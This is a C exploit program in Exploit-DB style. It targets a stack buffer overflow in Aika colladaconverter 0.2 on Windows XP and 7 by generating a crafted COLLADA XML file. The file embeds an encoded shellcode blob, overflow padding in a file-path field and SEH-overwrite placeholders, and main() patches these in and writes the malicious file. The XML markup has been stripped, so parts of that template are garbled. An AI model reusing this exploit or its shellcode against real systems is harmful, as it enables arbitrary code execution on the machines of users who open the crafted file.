/* ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// # Exploit Title: Aika colladaconverter buffer overflow exploit # Date: 09/11/2011 # Author: isciurus # Software Link: http://aika.googlecode.com/files/aika-v02.zip # Version: 0.2 # Tested on: Windows 7 x64 This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// */ #include #include #include #include "string.h" char printableASCIIShellcode[] = // encoded 499 bytes "WUQQUj3hKzJYSaRYjVCX4VGRH4z0BfXRQPPZjQX4QP2BM0BMX2Ai0BMXYZPOCKHG" // will be injected inside the file path --------- "OHOCHGCKHKkAgFCBMGKJEA3Ag2Bg0BgABE94ku2QmAiAszHthbzMIMQ8Uz9TFQWC" // | "GDNW6jYeJ8l47kSCPlKPRZljwLskRH6RQ0OiKjRENz4TUYHTfu6rjMTi1NAjGwMF" // | "RHxIjxgzoZnVXlGIXJbCJYhxKHXKvjyFXDDLbNydxzXT3vTJdfa7Hpp3VM1jUOVv" // | "UJYuPT3vkOQIPYGxa6Rk6NOaV9PEH56Mrrz5ZSPLOAvKIsFOCbfqWBRXPCNWSmJf" // | "EVCXNoYNR9oDOaWoykz1Ev3TxcSHQz4ZOOLxlGBjsDGWGJs1EOCNqaAAOWHAMWCx" // | "JEFIrTQ70vEFELaCIPPAPP0GUSmGfq1ZioUNQQATGCISZuJHNKRnlC3baNSAvIRO" // | "HLvt4zVFHLkLxBQR5XsKpEN90RgdBZlNmISLELGsEL0myBVKzJY"; // | // | char xml[] = // | "" // | "" // | "" // | " " // | " isciurus" // | " The shellcode encoded with http://www.exploit-db.com/exploits/13286/" // | " " // | " 2011-09-04T22:29:59Z" // | " 2011-09-04T22:29:59Z" // | " " // | " Y_UP" // | "" // | "" // | " " // | " " // | " " // | " " // | " 37.8492" // | " 1.5" // | " 1" // | " 10000" // | " " // | " " // | " " // | " " // | "" // | "" // | "" // | " " // | " E:\\aika\\" // <--------------------------- "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSADDR_1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // ^ // | // ------------------------------------------------- the shellcode will be copied at this address "AAAAA" " " " " " " " E:\\aika\\" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBADDR_2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // ^ // | // -------------------------------------------------------- these bytes will overwrite SEH handler "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // this part forces the application to write outside "AAAAAAAAAAAAAAAAAAAA" // the stack and triggers AV exception " " " " "" "" " " " " " " "" "" " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " "

375

" " " " " " " "" "" " " "" ""; int main(int argc, char **argv) { FILE *xml_file; char win7; char *offset; char *ll; if(argc < 2) { printf("\nUsage: aika_bof "); return 0; } if(sizeof(printableASCIIShellcode) > 644) { printf("\nSorry, the shellcode is too long, 644 chars is maximum"); return 0; } while(1) { char os; printf("\nChoose OS version ([X] for Windows XP, [7] for Windows 7):"); os = tolower(getchar()); if(os == 'x') { win7 = 0; break; } else if(os == '7') { win7 = 1; break; } else { printf("\nUnknown OS version"); } } printf("\n[*] Injecting the shellcode into the xml..."); offset = strstr(xml, "SSSSSSSSSSSSSSSSSSSSSSSSSSSS"); strncpy(offset, printableASCIIShellcode, sizeof(printableASCIIShellcode) - 1); if(win7 == 1) { offset = strstr(xml, "ADDR_1"); strncpy(offset, "%40%02", sizeof("%40%02") -1); offset = strstr(xml, "ADDR_2"); strncpy(offset, "%40%02", sizeof("%40%02") -1); } else { offset = strstr(xml, "ADDR_1"); strncpy(offset, "%40%01", sizeof("%40%01") -1); offset = strstr(xml, "ADDR_2"); strncpy(offset, "%40%01", sizeof("%40%01") -1); } printf("done"); printf("\n[*] Writing %d bytes to %s...", sizeof(xml), argv[1]); xml_file = fopen(argv[1], "wb"); if(xml_file == NULL) { printf("\nerror while opening %s", argv[1]); return 0; } if(fwrite(xml, 1, sizeof(xml) - 1, xml_file) != sizeof(xml) - 1) { printf("\nerror while writing into %s", argv[1]); return 0; } printf("done"); }

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